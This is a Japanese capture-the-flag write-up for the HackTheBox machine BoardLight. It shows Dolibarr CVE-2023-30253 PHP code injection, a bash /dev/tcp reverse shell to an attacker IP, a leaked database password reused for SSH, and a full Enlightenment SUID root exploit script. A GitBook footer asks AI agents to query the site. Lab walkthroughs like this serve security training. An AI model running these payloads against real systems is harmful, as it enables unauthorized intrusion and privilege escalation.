> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/boardlight-hackthebox-writeup.md).

# BoardLight HackTheBox攻略記事

サブドメイン列挙、Dolibarr 17.0.0の悪用 - CVE-2023-30253、情報漏えい（ユーザーピボット）、EnlightenmentのSUIDバイナリ悪用を扱うBoardLight HackTheBox Easy Linuxマシンの攻略記事。

{% embed url="<https://app.hackthebox.com/machines/BoardLight>" %}

{% hint style="warning" %}
**スキル:**

* サブドメイン列挙
* Dolibarr 17.0.0 の悪用 - CVE-2023-30253
* 情報漏えい（ユーザーピボット）
* Enlightenment SUID バイナリの悪用（権限昇格）
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ceff8c1031a89a3694b185347b6aee70e5eb1fc%2Fimage%20(775).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9d7923b3bedf2de6f6e73bcd7af2c4a958d3635%2Fimage%20(776).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.11 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91e9d9624d2101fc8b3d78a717aadbc3cb9360ad%2F%7BCA076EB7-6467-41EB-9F5E-A6BBD3415CC8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts 関数を使用して開いているポートを簡潔な形式で表示し、クリップボードにコピーする（22.80）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d2bde05626e973a39e9193e0d8bb9faea8b7267d%2Fimage%20(777).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Nmap によるポートのバージョンスキャン:

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p22,80 10.10.11.11 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-154cefcabc01e8b68ba351155bd012190509b9be%2Fimage%20(778).png?alt=media" alt=""><figcaption></figcaption></figure>

## ポート80 - HTTP

**WhatWeb による分析:** ドメイン名を含むメールを特定します: `board.htb`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b760a375b264760726d5d4e989af9846b317082%2Fimage%20(779).png?alt=media" alt=""><figcaption></figcaption></figure>

DNS経由でドメイン名をIPアドレスに解決するために、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df46ad44c06d2c224fa3f08da9653022da6a6ff1%2Fimage%20(780).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b0c17b0aeb6e6793f5207ed47c473b8110a5792%2Fimage%20(781).png?alt=media" alt=""><figcaption></figcaption></figure>

## Web列挙

**Feroxbuster でディレクトリを探索します:**

```bash
feroxbuster -u http://board.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

関連する結果は見つかりませんでした。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf3dad731faf9e74ccc73b9c9fdc0e3a5b2fac8f%2Fimage%20(782).png?alt=media" alt=""><figcaption></figcaption></figure>

**Gobuster によるサブドメインの列挙:**

```bash
gobuster vhost -u http://board.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 200
```

サブドメインを発見します: `crm.board.htb`..

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-96db5c9a6356aad9898dbe38eebcdb14c1e4673f%2F%7BD61F13B4-4E09-42B7-97FA-0D6C5D99248B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

これを追加します `/etc/hosts`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9808b4e22700977d6dee7e808ca977063a198c47%2Fimage%20(783).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## CMS Dolibarr の脆弱性

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c97a8c94bb97b85331e6b6374a610458c8c58f35%2F%7B82BF6075-0650-49E9-804E-8A4335B3352E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**認証なしの接続:** ランダムな資格情報で接続を試みると、権限はないものの管理者としてログインします。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a00f51f59b511ef777139bae30603990609b492%2F%7BBB128B85-5003-4442-8204-49C16AF1B2FE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-21e5eef3b2fded872cffd3d362705441dc9ed93f%2F%7BF8F7304E-7BAE-49E2-BEEB-D9DD176B70FA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **手動での悪用**

**悪意のあるサイトの作成:**

サイト作成セクションで、悪意のある PHP コードを挿入します:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-320f76bc5f5a1520cad1f21c9658cb1152a1cdba%2F%7B57D72273-2C7D-4109-8D87-B8FC96C2E949%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```php
<section id="pwned" contenteditable="true"><?PhP system("whoami"); ?></section>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-adfec8a64d614aea59a40df72e04cf1ef00eeeb1%2Fimage%20(789).png?alt=media" alt=""><figcaption></figcaption></figure>

コマンドの実行を確認します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea06673e13e6cc5d2978bb44532de150ee337f88%2Fimage%20(790).png?alt=media" alt=""><figcaption></figcaption></figure>

**リバースシェル：**

待ち受け:

```bash
nc -nvlp 443
```

リバースシェル用の PHP コード:

```php
<?phP
system($_GET['bash -c "bash -i >%26 /dev/tcp/10.10.14.47/443 0>%261"']);
?>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5724f0d9b87376187f0136697612ffa2ae8f47b6%2F%7B98AECE2A-9CC2-4EE0-891D-B7E8055E9580%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **自動化された悪用**

{% embed url="<https://github.com/Rubikcuv5/cve-2023-30253>" %}

**依存関係のインストール:**

```bash
pip3 install -r requirements.txt 
```

**スクリプトの実行:**

テスト用コマンド（whoami）

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -c whoami
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c8443fb1d37bbeea65c6f1b92cde52baf2eaa61%2Fimage%20(785).png?alt=media" alt=""><figcaption></figcaption></figure>

#### リバースシェル

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -r 10.10.14.47 443
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-582d60982c09f92ab4ebea4cfb0349a4442456ab%2Fimage%20(786).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 端末の安定化

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## ユーザーピボット - Larissa

目的はユーザーへピボットすることです **larissa**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d13b7cfadf7015cb54170d775628748389a252b%2F%7B733E7776-95B5-442F-9392-E741F2B86852%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 情報の列挙

その `web` ディレクトリは `htbdocs`にあり、 `conf` という名前のフォルダを見つけます。 **conf.php** ファイル。このファイルには次の情報が含まれています:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50b2c381f7b5a395eca1522bc98da7f5b3f6e55d%2Fimage%20(791).png?alt=media" alt=""><figcaption></figcaption></figure>

* パスワード: `serverfun2$2023`!!

#### SSH 接続

取得した情報をもとに、SSH 経由でマシンに接続してみましょう:

```bash
ssh larissa@10.10.11.11
```

**結果:** 接続できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37242d6e6fba996876be1c17a0764b3180711c59%2F%7B14CBF43C-5C33-4E8F-BF0D-3ED2C65DE848%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### フラグ user.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22892303b1fe31c355f4f78e4e43567ed132433a%2Fimage%20(792).png?alt=media" alt=""><figcaption></figcaption></figure>

## 権限昇格

### SUID - Enlightenment

まず、自分のユーザーが所有する SUID ファイルを検索します。これを行うには、次のコマンドを実行します:

```bash
find / -perm -4000 2>/dev/null
```

出力を分析すると、次の存在に気づきます。 **enlightenment** バイナリ。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70a652245f70014cac4a9062bb8887ab3838d25d%2Fimage%20(769).png?alt=media" alt=""><figcaption></figcaption></figure>

このバイナリに関連する脆弱性を調査しています。少し調べた結果、バージョンに適用可能なエクスプロイトを特定します **0.25.4**.

{% embed url="<https://www.exploit-db.com/exploits/51180>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a67c855a2046e8bd6aa53f64254b1118a1ba447c%2Fimage%20(770).png?alt=media" alt=""><figcaption></figcaption></figure>

しかし、システムにインストールされている Enlightenment の現在のバージョンを確認すると、次のバージョンであることがわかります **0.23.1**、古いバージョンです。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-006e8193583f1c13081e818f1279908d0def10aa%2Fimage%20(771).png?alt=media" alt=""><figcaption></figcaption></figure>

脆弱性を悪用するために、次のエクスプロイトを試します:

```bash
#!/usr/bin/bash

file="/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"
echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
rm -rf /tmp/exploit
rm -rf /tmp/net
```

```bash
./exploit.sh
```

エクスプロイトを実行した後、root 権限のシェルを取得します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef7dc22a89003ed59082e2b1d2a9bc629e5e9231%2Fimage%20(772).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b50a6e8c729600c74ba9ba37b774556ec5108950%2Fimage%20(774).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-44225a94c7b240e65dfe2ce7d44610e1007e2c51%2Fimage%20(773).png?alt=media" alt="" width="425"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/boardlight-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
